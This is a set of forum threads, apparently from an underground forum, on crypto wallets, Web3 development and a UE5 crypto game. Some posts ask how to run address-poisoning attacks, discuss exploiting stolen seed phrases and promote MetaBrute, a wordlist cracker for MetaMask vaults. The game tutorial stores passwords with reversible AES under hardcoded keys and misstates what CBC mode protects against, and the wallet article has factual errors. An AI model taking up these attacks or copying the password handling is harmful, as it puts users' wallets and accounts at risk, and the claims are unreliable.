Author: SupWasap2
Prefix: Статья
Replies: 8 Views: 1K

Выбираем безопасный и удобный способ хранения криптовалюты​

Если вы являетесь держателем криптовалюты, то вам необходимо обеспечить безопасность своих средств. Для этого нужно выбрать надежный и удобный криптокошелек. В этой статье мы рассмотрим лучшие крипто-кошельки на 2024 год, которые помогут вам защитить свои цифровые активы.
Выбирая криптокошелек, необходимо учитывать множество факторов, таких как уровень безопасности, удобство использования, поддерживаемые криптовалюты и т.д. Выбрав подходящий криптокошелек, вы сможете безопасно хранить свои цифровые активы и управлять ими.

Какие виды криптовалютных кошельков существуют

Офлайн-кошельки (или холодные кошельки) это кошельки, которые не подключены к Интернету. Они обеспечивают более высокий уровень безопасности, так как ваши приватные ключи хранятся на отдельном устройстве и не могут быть скомпрометированы взломщиками из Интернета.

Холодные кошельки

Ledger Nano X это обновленная версия популярного криптокошелька Ledger Nano S. Он поддерживает более 1000 криптовалют, включая Bitcoin, Ethereum и XRP. Кошелек имеет современный OLED-дисплей, который позволяет удобно управлять вашими средствами. Важно отметить, что Ledger Nano X имеет высокий уровень безопасности, так как все приватные ключи хранятся в изолированном микроконтроллере.
Trezor Model T это криптокошелек следующего поколения, который поддерживает более 1000 криптовалют, включая Bitcoin, Litecoin и Ethereum. Он имеет сенсорный экран и защищенный PIN-кодом доступ. Кошелек поддерживает мультиподпись и двухфакторную аутентификацию, что обеспечивает высокий уровень безопасности.

Онлайн-кошельки (горячие кошельки)

Онлайн-кошельки (или горячие кошельки) это кошельки, которые подключены к Интернету. Они обеспечивают более высокую степень удобства, так как вы можете легко отправлять и получать криптовалюту с любого устройства с доступом в Интернет. Однако они менее безопасны, так как приватные ключи хранятся на серверах компаний-разработчиков.
Exodus это криптокошелек с простым и понятным интерфейсом, который поддерживает более 100 криптовалют. Он имеет встроенный обменник и интегрирован с Trezor-кошельком, что обеспечивает высокий уровень безопасности. Кошелек доступен для установки на Windows, Mac и Linux.
Coinbase Wallet это мобильный криптокошелек, разработанный самой крупной криптовалютной биржей в США - Coinbase. Он поддерживает большое количество криптовалют и позволяет легко и быстро обменивать их на другие цифровые активы. Кошелек имеет высокий уровень безопасности, так как все приватные ключи хранятся на вашем устройстве, а не на серверах компании.
Electrum это один из самых популярных крипто-кошельков, который поддерживает только Bitcoin. Он имеет простой интерфейс и легок в использовании. Кошелек использует протокол Cold Storage, который обеспечивает безопасность ваших приватных ключей, храня их в офлайн-режиме. Electrum также поддерживает мультиподпись, что делает его идеальным для командной работы.
MyEtherWallet это криптокошелек, который поддерживает только Ethereum и токены ERC-20. Кошелек имеет простой интерфейс и легок в использовании. Он позволяет хранить, отправлять и получать Ethereum и токены ERC-20. MyEtherWallet использует протокол Cold Storage, который обеспечивает безопасность ваших приватных ключей.

Мобильные кошельки

Мобильные кошельки это приложения, установленные на вашем мобильном устройстве. Они обеспечивают более высокую степень удобства и доступности, так как вы можете легко отправлять и получать криптовалюту с вашего мобильного устройства в любой точке мира. Примеры мобильных кошельков: Trust Wallet, MetaMask.

Десктопные кошельки

Десктопные кошельки это программы, которые устанавливаются на ваш компьютер. Они обеспечивают более высокую степень контроля и безопасности, так как вы можете хранить приватные ключи на вашем компьютере, а не на серверах компаний- разработчиков. Примеры десктопных кошельков: Electrum, Bitcoin Core.

Бумажные кошельки

Существуют также криптовалютные бумажники (paper wallets), которые представляют собой напечатанные на бумаге ключи, используемые для хранения криптовалюты.

Как безопасно хранить криптовалюту

Хранение криптовалюты может быть рискованным, особенно если вы не принимаете необходимых мер для защиты своих активов. Ниже перечислены несколько мер, которые можно принять, чтобы безопасно хранить свою криптовалюту:

Заключение

На рынке криптовалютных кошельков есть множество достойных и надежных предложений, самые популярные мы перечислили в этой статье.
Однако в связи с нестабильной геополитической ситуацией в мире, многие пользователи сталкиваются с проблемами доступа к криптовалютным биржам и блокировками своих аккаунтов. В таких случаях интересным решением будет хранение криптовалюты на кошельке вне санкционной криптовалютной площадки AWEX, которая имеет лицензию и позволяет обеспечить высокий уровень безопасности и ликвидности в любых условиях.
Использование внутреннего кошелька биржи позволяет упростить процесс торговли и обмена криптовалюты, что также является важным фактором для многих пользователей.
Помните, что безопасность вашего криптокошелька зависит только от вас, поэтому не забывайте принимать все необходимые меры для защиты своих средств.

Web 3.0: Потому что Web 2.0 уже не торт
ID: 67686ad7b4103b69df37968e
Thread ID: 125169
Created: 2024-10-20T09:08:43+0000
Last Post: 2024-11-15T13:16:06+0000
Author: hackeryaroslav
Prefix: Статья
Replies: 10 Views: 1K

Авторство: hackeryaroslav​

Источник: xss.is​

Многие технологии обещают революцию. Одним из таких трендов последних лет стал Web 3.0, или просто Web3. Этот термин обещает новую эру интернета, основанную на децентрализации, блокчейне и криптовалютах. Но что на самом деле скрывается за этим хайпом? Где настоящий потенциал Web3 и как он может изменить наше взаимодействие с интернетом? Давайте разберемся.

a-photo-of-elon-musk-standing-in-front-of-a-large--qERgx7dnRvS9PEHRA5GQCQ-- Tsl-OozRUWaz6twBZE...jpeg

Что такое Web 3.0?​

Прежде чем погрузиться в детали, важно понять, что представляет собой Web 3.0. Это концепция развития веб-технологий, которая предполагает переход к децентрализованной архитектуре интернета. В отличие от Web 2.0, где доминируют крупные платформы и централизованные сервисы, Web3 стремится создать интернет, в котором пользователи имеют больше контроля над своими данными и цифровыми активами.

Основные характеристики Web 3.0:

  1. Децентрализация : Отсутствие центрального органа управления, данные распределены по сети.
  2. Блокчейн : Использование технологии распределенного реестра для обеспечения прозрачности и безопасности.
  3. Токенизация : Цифровые активы и криптовалюты как неотъемлемая часть экосистемы.
  4. Смарт-контракты : Автоматизированное выполнение соглашений без посредников.
  5. Семантическая сеть : Улучшенное понимание контекста и значения данных машинами.

Инструменты и фреймворки Web3​

Для разработки приложений в экосистеме Web3 существует множество инструментов и фреймворков. Рассмотрим некоторые из наиболее популярных:

Hardhat для Ethereum​

Hardhat — мощная и гибкая среда разработки для Ethereum, которая облегчает создание и тестирование смарт-контрактов. Она:

Вот как можно использовать Hardhat для развертывания простого смарт-контракта:

JavaScript:Copy to clipboard

const { ethers } = require("hardhat");

async function main() {
  const SimpleStorage = await ethers.getContractFactory("SimpleStorage");
  console.log("Deploying SimpleStorage...");
  const simpleStorage = await SimpleStorage.deploy();
  await simpleStorage.deployed();
  console.log("SimpleStorage deployed to:", simpleStorage.address);
}

main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });

Hardhat автоматически обрабатывает компиляцию, создание и отправку транзакции, делая процесс разработки более плавным и удобным.

Truffle Suite​

Truffle - еще один популярный фреймворк для разработки на Ethereum. Он предоставляет инструменты для компиляции, тестирования и управления смарт- контрактами. Truffle включает в себя Ganache - персональный блокчейн для разработки Ethereum, который позволяет разработчикам тестировать свои dApps в безопасной локальной среде.

Пример конфигурации Truffle:

JavaScript:Copy to clipboard

module.exports = {
  networks: {
    development: {                 // Сеть для локальной разработки
      host: "127.0.0.1",            // Локальный хост
      port: 7545,                   // Порт Ganache
      network_id: "*"               // Любой network ID
    }
  },
  compilers: {
    solc: {                         // Настройка компилятора Solidity
      version: "0.8.0"              // Указание версии Solidity
    }
  }
};

Web3.js и Ethers.js​

Эти библиотеки JavaScript позволяют разработчикам взаимодействовать с блокчейном Ethereum из веб-приложений. Web3.js был первым широко используемым инструментом, в то время как Ethers.js стал популярным благодаря более современному API и лучшей производительности.

  1. Web3.js — первая популярная библиотека для взаимодействия с блокчейном.
  2. Ethers.js — более легковесная и производительная альтернатива с улучшенным API.
  3. Поддержка : Ethers.js лучше подходит для работы с TypeScript и легко интегрируется в современные проекты.

Пример использования Ethers.js для взаимодействия со смарт-контрактом:

JavaScript:Copy to clipboard

const { ethers } = require("ethers");


async function interactWithContract() {
  const provider = new ethers.providers.JsonRpcProvider("http://localhost:8545"); // 1. Подключаемся к локальному блокчейну
  const signer = provider.getSigner(); // 2. Получаем кошелек или аккаунт для подписания транзакций


  const contractAddress = "0x..."; // 3. Указываем адрес развернутого контракта
  const contractABI = [...]; // 4. ABI — интерфейс для взаимодействия с контрактом


  const contract = new ethers.Contract(contractAddress, contractABI, signer); // 5. Создаем экземпляр контракта


  // Вызов функции контракта
  const result = await contract.someFunction(); // 6. Асинхронно вызываем функцию контракта
  console.log("Result:", result); // 7. Выводим результат
}


interactWithContract(); // Запускаем функци

Примеры децентрализованных приложений (dApps)​

Децентрализованные приложения (dApps) - это приложения, работающие на децентрализованной сети, такой как Ethereum. Они отличаются от традиционных приложений тем, что не имеют центрального сервера и используют блокчейн для хранения и обработки данных. Рассмотрим несколько примеров dApps и их реализацию.

1. Децентрализованная биржа (DEX)​

Децентрализованные биржи позволяют пользователям обменивать криптовалюты без посредников. Одним из популярных протоколов для создания DEX является Uniswap.

Пример простого смарт-контракта для обмена токенов:

Code:Copy to clipboard

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract SimpleExchange {
    // Хранение ликвидности: сколько токенов каждой пары доступно в контракте
    mapping(address => mapping(address => uint256)) public liquidity;

    // Добавление ликвидности для пары токенов
    function addLiquidity(
        address tokenA, 
        address tokenB, 
        uint256 amountA, 
        uint256 amountB
    ) external {
        require(IERC20(tokenA).transferFrom(msg.sender, address(this), amountA), "Transfer of token A failed");
        require(IERC20(tokenB).transferFrom(msg.sender, address(this), amountB), "Transfer of token B failed");

        liquidity[tokenA][tokenB] += amountA;
        liquidity[tokenB][tokenA] += amountB;
    }

    // Обмен токенов через контракт
    function swap(
        address fromToken, 
        address toToken, 
        uint256 amountIn
    ) external {
        require(liquidity[fromToken][toToken] > 0, "Insufficient liquidity");
        
        // Расчет количества токенов для получения
        uint256 amountOut = (amountIn * liquidity[toToken][fromToken]) / liquidity[fromToken][toToken];

        require(IERC20(fromToken).transferFrom(msg.sender, address(this), amountIn), "Transfer of input token failed");
        require(IERC20(toToken).transfer(msg.sender, amountOut), "Transfer of output token failed");

        // Обновление ликвидности после обмена
        liquidity[fromToken][toToken] += amountIn;
        liquidity[toToken][fromToken] -= amountOut;
    }
}

Естественно, в коде отсутствуют такие вещи как AMM для ценообразования, предотвращая быстрые колебания. В этом коде используется простой обменный курс, который подвержен манипуляциям. Также, нет защиты от фронтраннинга или арбитражных атак. Поэтому, не используйте его (но он хорош для понятия концепции).

2. Децентрализованное приложение для голосования​

Блокчейн может обеспечить прозрачность и неизменяемость результатов голосования. Пример простого смарт-контракта для голосования:

Code:Copy to clipboard

pragma solidity ^0.8.0;


contract Voting {
    // Хранит количество голосов для каждого кандидата
    mapping(bytes32 => uint256) public votesReceived;
    // Список кандидатов
    bytes32[] public candidateList;


    // Конструктор: принимает список кандидатов
    constructor(bytes32[] memory candidateNames) {
        candidateList = candidateNames;
    }


    // Функция для голосования за кандидата
    function voteForCandidate(bytes32 candidate) public {
        require(validCandidate(candidate), "Invalid candidate"); // Проверка на валидность кандидата
        votesReceived[candidate] += 1; // Увеличение количества голосов
    }


    // Функция для получения общего количества голосов за кандидата
    function totalVotesFor(bytes32 candidate) view public returns (uint256) {
        require(validCandidate(candidate), "Invalid candidate"); // Проверка на валидность кандидата
        return votesReceived[candidate]; // Возврат количества голосов
    }


    // Проверка, является ли кандидат валидным
    function validCandidate(bytes32 candidate) view public returns (bool) {
        for(uint i = 0; i < candidateList.length; i++) {
            if (candidateList[i] == candidate) {
                return true; // Кандидат найден
            }
        }
        return false; // Кандидат не найден
    }
}

3. Децентрализованная система управления идентификацией​

Web3 открывает возможности для управления цифровой идентичностью. Пользователи могут контролировать свои данные и решать, кому предоставлять доступ к ним.

Code:Copy to clipboard

pragma solidity ^0.8.0;

contract IdentityManager {
    struct Identity {
        address owner; // Владелец идентичности
        mapping(bytes32 => bytes32) attributes; // Атрибуты идентичности
    }

    mapping(address => Identity) public identities; // Хранение идентичностей

    // Функция для создания идентичности
    function createIdentity() public {
        require(identities[msg.sender].owner == address(0), "Identity already exists"); // Проверка существования
        identities[msg.sender].owner = msg.sender; // Установка владельца
    }

    // Функция для добавления атрибута к идентичности
    function setAttribute(bytes32 name, bytes32 value) public {
        require(identities[msg.sender].owner == msg.sender, "Not the identity owner"); // Проверка прав владельца
        identities[msg.sender].attributes[name] = value; // Установка атрибута
    }

    // Функция для получения атрибута идентичности
    function getAttribute(address identity, bytes32 name) public view returns (bytes32) {
        return identities[identity].attributes[name]; // Возврат значения атрибута
    }
}

Где настоящий потенциал Web3?​

Web3 обладает значительным потенциалом в нескольких ключевых областях:

1. Децентрализованные финансы (DeFi)​

DeFi предлагает альтернативу традиционным финансовым услугам, обеспечивая доступ к кредитованию, сбережениям и инвестициям без посредников.

Code:Copy to clipboard

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract SimpleLending {
    mapping(address => uint256) public deposits;
    mapping(address => uint256) public loans;
    IERC20 public token;


    constructor(address _token) {
        token = IERC20(_token);
    }

    function deposit(uint256 amount) external {
        require(token.transferFrom(msg.sender, address(this), amount), "
Transfer failed");deposits[msg.sender] += amount;}


function borrow(uint256 amount) external {
require(token.balanceOf(address(this)) >= amount, "Insufficient liquidity");
require(loans[msg.sender] == 0, "Existing loan must be repaid first");

loans[msg.sender] = amount;
require(token.transfer(msg.sender, amount), "Transfer failed");
}

function repay() external {
uint256 amount = loans[msg.sender];
require(amount > 0, "No existing loan");
require(token.transferFrom(msg.sender, address(this), amount), "Transfer failed");

loans[msg.sender] = 0;
}

function withdraw(uint256 amount) external {
require(deposits[msg.sender] >= amount, "Insufficient balance");
deposits[msg.sender] -= amount;
require(token.transfer(msg.sender, amount), "Transfer failed");
}


}

2. Невзаимозаменяемые токены (NFT)

NFT открывают возможности для цифрового серфинга, игровой индустрии и управления правами на интеллектуальную собственность. Они позволяют создавать уникальные цифровые активы, которые можно продавать, коллекционировать и использовать в различных приложениях.

Пример простого NFT-контракта:

Code:Copy to clipboard

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";

contract SimpleNFT is ERC721 {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;

mapping(uint256 => string) private _tokenURIs;

constructor() ERC721("SimpleNFT", "SNFT") {}

function mintNFT(address recipient, string memory tokenURI) public returns (uint256) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_mint(recipient, newItemId);
_setTokenURI(newItemId, tokenURI);
return newItemId;
}

function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}

function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
return _tokenURIs[tokenId];
}
}

Контракт реализует базовую функциональность NFT: создание уникальных токенов с ассоциированными метаданными (URI). Пользователи могут создавать NFT, передавать их другим пользователям и запрашивать информацию о токенах.

3. Децентрализованное управление (DAO)​

Децентрализованные автономные организации (DAO) представляют модель управления, основанную на смарт-контрактах. Они позволяют создавать организации с прозрачными правилами и децентрализованным принятием решений.

Пример простого DAO-контракта:

Code:Copy to clipboard

pragma solidity ^0.8.0;

contract SimpleDAO {
struct Proposal {
address recipient;
uint amount;
string description;
uint votesFor;
uint votesAgainst;
bool executed;
mapping(address => bool) voted;
}

mapping(uint => Proposal) public proposals;
uint public proposalCount;
mapping(address => bool) public members;
uint public memberCount;

constructor() {
members[msg.sender] = true;
memberCount = 1;
}

function addMember(address _member) public {
require(members[msg.sender], "Only members can add new members");
require(!members[_member], "Address is already a member");
members[_member] = true;
memberCount++;
}

function createProposal(address _recipient, uint _amount, string memory _description) public {
require(members[msg.sender], "Only members can create proposals");
proposalCount++;
Proposal storage p = proposals[proposalCount];
p.recipient = _recipient;
p.amount = _amount;
p.description = _description;
}

function vote(uint _proposalId, bool _support) public {
require(members[msg.sender], "Only members can vote");
Proposal storage p = proposals[_proposalId];
require(!p.voted[msg.sender], "Member has already voted");
require(!p.executed, "Proposal has already been executed");

p.voted[msg.sender] = true;
if (_support) {
p.votesFor++;
} else {
p.votesAgainst++;
}
}

function executeProposal(uint _proposalId) public {
Proposal storage p = proposals[_proposalId];
require(!p.executed, "Proposal has already been executed");
require(p.votesFor > p.votesAgainst, "Proposal needs more votes for execution");

p.executed = true;
(bool success, ) = p.recipient.call{value: p.amount}("");
require(success, "Execution failed");
}

receive() external payable {}
}

Контракт реализует базовую функциональность DAO: создание предложений, голосование и выполнение решений. Члены DAO могут создавать предложения, голосовать за них и выполнять одобренные предложения.

Слои масштабирования (Layer 2)​

Одной из ключевых технических проблем Web3 является масштабируемость. Для решения этой проблемы разрабатываются решения второго уровня (Layer 2), которые позволяют обрабатывать транзакции вне основной цепи блокчейна, снижая нагрузку и увеличивая пропускную способность.

Основные типы Layer 2 решений:​

  1. Rollups:
    • Optimistic Rollups: Выполняют транзакции за пределами основной цепи и публикуют только минимальные данные в основную цепь. Примеры: Optimism, Arbitrum.
    • Zero-Knowledge (ZK) Rollups: Используют криптографические доказательства для подтверждения валидности транзакций без необходимости их полной обработки в основной цепи. Примеры: zkSync, StarkNet.
  2. State Channels: Позволяют участникам проводить множество транзакций офчейн, публикуя в основную цепь только начальное и конечное состояние. Пример: Lightning Network для Bitcoin.
  3. Plasma: Создает дочерние цепи, связанные с основной цепью, для обработки транзакций. Хотя популярность Plasma снизилась, некоторые проекты все еще используют эту технологию.

Пример использования Optimistic Rollup с библиотекой ethers.js:

JavaScript:Copy to clipboard

const ethers = require('ethers');

// Подключение к Optimistic Ethereum
const l2Provider = new ethers.providers.JsonRpcProvider('https://mainnet.optimism.io');

// Создание кошелька
const privateKey = 'your_private_key_here';
const wallet = new ethers.Wallet(privateKey, l2Provider);

// Отправка транзакции в L2
async function sendL2Transaction() {
const transaction = {
to: '0xRecipientAddress',
value: ethers.utils.parseEther('0.1') // 0.1 ETH
};

const tx = await wallet.sendTransaction(transaction);
console.log('Transaction hash:', tx.hash);
await tx.wait();
console.log('Transaction confirmed');
}

sendL2Transaction().catch(console.error);

Межблокчейновая совместимость​

Основные подходы к обеспечению межблокчейновой совместимости:​

  1. Мосты (Bridges): Позволяют передавать активы и данные между разными блокчейнами. Примеры: Polygon PoS Bridge, Wormhole.
  2. Кросс-чейн протоколы: Обеспечивают стандартизированный способ взаимодействия между блокчейнами. Пример: Polkadot с его парачейнами и релейной цепью.
  3. Атомарные свопы: Позволяют осуществлять обмен активами между разными блокчейнами без доверенных посредников.

Пример использования моста для передачи токенов с Ethereum на Polygon с использованием Web3.js:

JavaScript:Copy to clipboard

const Web3 = require('web3');
const { POSClient } = require('@maticnetwork/maticjs');

// Инициализация провайдеров
const ethereumProvider = new Web3.providers.HttpProvider('https://mainnet.infura.io/v3/YOUR-PROJECT-ID');
const maticProvider = new Web3.providers.HttpProvider('https://rpc-mainnet.maticvigil.com');

// Создание клиента POS Bridge
const posClient = new POSClient();
await posClient.init({
network: 'mainnet',
version: 'v1',
parent: {
provider: ethereumProvider,
defaultConfig: {
from: 'YOUR_ETHEREUM_ADDRESS'
}
},
child: {
provider: maticProvider,
defaultConfig: {
from: 'YOUR_POLYGON_ADDRESS'
}
}
});

// Функция для депозита ETH на Polygon
async function depositEthToPolygon(amount) {
const tx = await posClient.depositEther(amount, {
from: 'YOUR_ETHEREUM_ADDRESS',
gasPrice: '20000000000' // 20 Gwei
});

console.log('Deposit transaction hash:', tx.transactionHash);
await tx.getReceipt();
console.log('Deposit confirmed on Ethereum');
}

// Вызов функции
depositEthToPolygon('1000000000000000000') // 1 ETH
.catch(console.error);

Заключение​

Web3 основан на блокчейне, смарт-контрактах и децентрализации. Ключевые компоненты:

  1. dApps (DeFi, NFT, DAO)
  2. Инструменты разработки (Hardhat, Web3.js, Ethers.js)
  3. Масштабирование (Layer 2, Rollups)
  4. Межблокчейновая совместимость

Технология развивается, решая проблемы масштабируемости и интеграции. Спасибо за чтение!

Address poisoning attack crypto
ID: 67686ad7b4103b69df379695
Thread ID: 110926
Created: 2024-03-20T23:35:20+0000
Last Post: 2024-11-11T17:02:06+0000
Author: pierre777reborn
Replies: 6 Views: 1K

Does someone know how to perform an address poisoning attack on the ethereum blockchain? With the zero transfers, vanity addresses etc.

I was wondering how to automate the whole process and also if there was any tool available out there + full walkthrough

как работает отработка сидов?
ID: 67686ad7b4103b69df3796a3
Thread ID: 124867
Created: 2024-10-15T16:14:21+0000
Last Post: 2024-10-31T22:57:59+0000
Author: GenGenra
Replies: 10 Views: 1K

часто вижу темы с отработкой кошельков по сид фразе. что такое глубина отработки? как отрабатывают по приватным ключам? неужели просто брутят пароли? это настолько выгодно? или это всё скам

MetaBrute: MetaMask Security Vault Decryption 2024
ID: 67686ad7b4103b69df3796aa
Thread ID: 119802
Created: 2024-07-29T19:03:24+0000
Last Post: 2024-10-27T18:06:55+0000
Author: Mr_Stuxnot
Prefix: Видео
Replies: 5 Views: 1K

MetaBrute helps decrypt the MetaMask vault using a wordlist, simply and conveniently. If you find an error or have suggestions, please let me know!!!

---

---

github.com

[ GitHub - AndreySokolov247/MetaBrute

](https://github.com/AndreySokolov247/MetaBrute)

Contribute to AndreySokolov247/MetaBrute development by creating an account on GitHub.

github.com github.com

To configure just run:

Code:Copy to clipboard

docker compose up -d
Странные переводы в блокчейне Эфириум
ID: 67686ad7b4103b69df3796ab
Thread ID: 125132
Created: 2024-10-19T16:03:10+0000
Last Post: 2024-10-27T15:06:08+0000
Author: cppjunior
Replies: 9 Views: 1K

Что за странные переводы в эфириум сети? Вот один из примеров https://etherscan.io/tx/0xae9b1f9d62b43a0ecea392b7ba4c787cd6694d77fd5e2d316ba885ab9de32c88
Сначало пополняется от coinbase 10 (смартконтракт) а потом через 2 дня отправляет весь баланс на coinbase 5 аккаунт. Это внутри биржи какие то дейсвия перенос ликвидности или пополнение пользователем и его перевод внутри биржи (к примеру между спотовым счетом и фьючерсным)?
И такие действия по два три раза на день.

Продолжение написания крипто игры на ue5 (Работа с запросами и шифрование AES)
ID: 67686ad7b4103b69df3796ad
Thread ID: 121867
Created: 2024-09-01T13:07:31+0000
Last Post: 2024-10-25T11:00:59+0000
Author: OverlordGameDev
Prefix: Статья
Replies: 2 Views: 1K

Предисловие:​

Данная статья продолжает пошаговую инструкцию по разработке онлайн крипто-игры в стилистике MMORPG. В этой части будет показано, как реализовать сервер регистрации на Python с шифрованием паролей в базе данных. Приведённый ниже код отлично подойдёт для других проектов, таких как сайты и приложения а также использование игрового движка как инсталлер ваших файлов.

Кроме того, в статье будет объяснено, как работать с JSON: создавать JSON- объекты и читать их. Также будет рассмотрен процесс отправки запросов с клиента на сервер и обратно — это решение также можно использовать в других проектах, не связанных с геймдевом.

Помимо этого, в статье будет описана реализация онлайн-составляющей, включая настройку выделенного сервера (dedicated server), синхронизацию действий разных клиентов на одном сервере.

Прежде чем приступить к работе с мультиплеерной составляющей, необходимо выбрать, как будет организован мультиплеер. Существует два основных подхода:

  1. Первый вариант — это когда один из клиентов одновременно выступает и как клиент, и как сервер, а остальные устройства подключаются к нему как клиенты. Основной недостаток этого метода заключается в том, что если клиент, выполняющий роль сервера, выйдет из игры, то все остальные клиенты также потеряют соединение. Этот подход лучше всего подходит для кооперативных игр с друзьями в лобби.
  2. Второй вариант — это использование выделенного сервера (dedicated server), когда сервер запускается как отдельная программа, а все клиенты подключаются к нему. Этот метод более надежен и лучше подходит для проектов, рассчитанных на многопользовательский режим, таких как наш проект.

Для текущего проекта единственным подходящим способом является использование выделенного сервера (dedicated server).

Основы работы с dedicated server​

Для тестов внутри движка пока что не потребуется скомпилировать отдельный сервер, и его можно сразу запустить через Unreal Engine. Для этого нужно перейти на игровую сцену, выбрать сетевой режим и указать количество запущенных клиентов.
1725194203080.png
Если на данном этапе запустить игру, то откроются два окна с клиентами, и передвижение, а также анимации передвижения будут реплицированы по умолчанию, так как передвижение осуществляется с использованием функции Add Movement, которая уже реплицирована.

Что такое репликация​

Если говорить простыми словами, репликация — это процесс, при котором действие, выполненное на одной системе, повторяется на другой системе. Таким образом достигается синхронизация между сервером и клиентами. Клиент выполняет действие и получает его результаты, сервер повторяет это действие и получает те же результаты, а затем сервер вызывает мультикаст для распространения действия на остальных клиентов, чтобы у них были те же результаты.

Что такое мультикаст​

Это один из видов репликации, позволяющий вызвать функцию на всех подключенных клиентах. Данный тип репликации может быть вызван только сервером.

В данный момент практически всё управление персонажем реплицировано по умолчанию, остаётся лишь реализовать репликацию поворота на месте и наклона спины за камерой вверх и вниз. Для начала можно рассмотреть простой график, который объяснит, как будет подключаться репликация:
1725194233396.png

Синхронизация действий клиентов​

Теперь можно приступить к практическому применению полученных знаний. Для начала нужно перейти в BluePrint персонажа, в котором выстроена основная логика перемещения. Далее нужно найти блок, где реализована логика поворота мышью. Рядом с ним нужно вызвать кастомные события (Custom Event); их потребуется два, и назвать их можно как SERVER и MULTICAST.
1725194255850.png
В событии сервера нужно установить свойство копирования события с клиента на сервер. Так как событие поворота также передаёт переменную типа float, в кастомный ивент нужно добавить слот для хранения этой переменной.
1725194276986.png
1725194299485.png

В событии мультикаста нужно установить свойство вещания, то есть мультикаст. Также нужно добавить слот под float переменную, значения которой поступают из ивента InputAxis LookRL. Эти значения будут передаваться от клиента к серверу, а затем от сервера к мультикасту.
1725194325130.png
Теперь нужно подключить ивент поворота к SERVER, затем SERVER к MULTICAST, а на мультикасте выполнить основную логику.
1725194342938.png

По аналогии нужно реализовать репликацию и для поворота на месте.
1725194364447.png

Сервер регистрации на Python​

Теперь можно начать этап регистрации игроков и авторизации в игре. Первым делом будет реализована регистрация игрока; сервер регистрации будет написан на Python Flask. На данный момент сервер регистрации будет представлять собой простую страницу в браузере для ввода логина и пароля, а также для записи этих данных в базу данных SQLite.

Подготовка проекта​

Для начала нужно подготовить проект сервера регистрации. Для этого потребуется основная папка, в которой будет находиться файл main.py. В этой папке также должна быть папка templates, а в папке templates — два HTML-файла: registration.html и profile.html.

Так как проект будет использовать веб-фреймворк Flask, нужно установить Flask командой pip install flask. Кроме того, сервер будет работать с базой данных SQLite, и для работы с ней можно установить дополнительный модуль Flask под названием flask-sqlalchemy.

Python:Copy to clipboard

from flask import Flask, render_template, request, redirect, url_for, flash
from flask_sqlalchemy import SQLAlchemy

Теперь нужно инициализировать Flask и SQLAlchemy, указать путь к базе данных, а также задать ключ для шифрования куки-сессий Flask, в которых хранятся данные, такие как информация об авторизации.

Python:Copy to clipboard

app = Flask(__name__)
app.secret_key = 'supersecretkey'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)

Теперь нужно определить структуру таблиц в базе данных (в скобках указаны свойства, такие как ограничения количества символов и тип записываемых данных).

Python:Copy to clipboard

class User(db.Model):
   id = db.Column(db.Integer, primary_key=True)
   username = db.Column(db.String(80), unique=True, nullable=False)
   password = db.Column(db.String(500), nullable=False)

P.S. Максимальное количество символов в пароле такое большое для того, чтобы в дальнейшем хранить зашифрованные пароли, так как зашифрованные пароли гораздо длиннее обычных.

Также нужно определить маршруты для страницы авторизации и регистрации, а также для страницы профиля.

Python:Copy to clipboard

@app.route('/', methods=['GET'])
def registration():
   return render_template('registration.html')


@app.route('/profile')
def profile():
   return render_template('profile.html')

И так как данные будут шифроваться, а именно на текущий момент будет шифроваться только пароль, понадобится функция для шифрования и расшифровки.

Работа с шифрованием и расшифровкой​

Для шифрования будет использоваться метод AES-128.

Как работает шифрование AES​

Данный метод очень популярен и используется во многих программах; например, в браузерах данные шифруются именно таким образом. Этапов шифрования данным методом достаточно немного. Сначала берутся исходные данные, затем выбирается режим шифрования данных (в данном случае будет использован режим CBC), после этого выбирается ключ для шифрования. Далее берутся данные для шифрования, и на выходе получаются два объекта: зашифрованные данные и вектор инициализации (IV).

Что такое CBC​

Это один из режимов шифрования, который позволяет шифровать одинаковые блоки данных, получая при этом разные вариации зашифрованных данных. Это улучшает защиту, так как невозможно расшифровать данные методом перебора. При использовании данного метода результатом работы будут не только зашифрованные данные, но и вектор инициализации (IV).

Что такое IV​

IV — это набор случайных данных, которые добавляются к чистым незашифрованным данным, чтобы каждый раз результат шифрования был разным.

Написание логики сервера регистрации​

Для начала нужно установить и импортировать необходимые библиотеки. Для этого будет использоваться библиотека pycryptodome.

P.S. Существует также библиотека pycryptodomex, которая по сути является той же библиотекой, но по неизвестным причинам она не подходит. Поэтому важно не перепутать и установить правильную библиотеку. Если будут установлены обе, они могут конфликтовать, и ничего работать не будет, что потребует удаления лишней библиотеки.

Python:Copy to clipboard

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64

После импортирования библиотек нужно создать переменную, в которой будет храниться ключ для шифрования пароля (в дальнейшем шифроваться также будут криптокошельки, но для них будет использоваться отдельный ключ для большей безопасности).

P.S. Ключ для шифрования должен иметь размер 16, 24 или 32 байта. Для AES-128 используется 16-байтовый ключ.

Python:Copy to clipboard

KEY_PASSWORD = b'1234567887654321'

Функция шифрования​

Теперь нужно написать функцию для шифрования данных, которая будет принимать один аргумент, а именно данные для шифрования.

Python:Copy to clipboard

def encrypt(data):
cipher = AES.new(KEY_PASSWORD, AES.MODE_CBC)
ct_bytes = cipher.encrypt(pad(data.encode(), AES.block_size))
iv = base64.b64encode(cipher.iv).decode('utf-8')
ct = base64.b64encode(ct_bytes).decode('utf-8')
return iv, ct

1 строка: KEY_PASSWORD — это ключ для шифрования и расшифровки, AES.MODE_CBC — это режим шифрования.

